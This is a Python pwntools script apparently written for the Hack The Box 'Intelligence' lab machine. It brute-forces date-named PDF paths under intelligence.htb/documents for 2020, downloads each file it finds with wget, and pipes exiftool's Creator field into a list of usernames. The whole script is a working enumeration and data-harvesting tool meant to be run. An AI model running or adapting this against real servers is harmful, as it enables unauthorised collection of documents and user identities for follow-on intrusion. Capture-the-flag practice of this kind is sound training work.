#!/usr/bin/python3

from pwn import *

def ctrl_c(sig,frame):
	print("\nExiting\n")
	sys.exit(1)

#ctrl+c
signal.signal(signal.SIGINT, ctrl_c)

#variables globales
fuzz_url = 'http://intelligence.htb/documents/'
days = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31']
months = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12']


def exploit():
	p = log.progress('Searching for files')

	for month in months:
		for day in days:
			payload = '2020-' + month + '-' + day
			#print(fuzz_url + payload)
			
			fuzzer = fuzz_url + payload + '-upload.pdf'
			p.status(fuzzer)

			r = requests.get(fuzzer)
			if r.status_code == 200:
				print('\nNew file found: {name : ' + payload + '}\nDownloading...')
				os.system('wget -q ' + fuzzer)
				print('\n[+] Downloaded!')

	print('\nExporting users with exiftool')
	os.system("exiftool *.pdf | grep Creator | awk '{print $2}' FS=':' | tr -d ' ' > users")

if __name__ == '__main__':
	try:
		threading.Thread(target=exploit, args=()).start()

	except Exception as e:
		log.error(str(e))

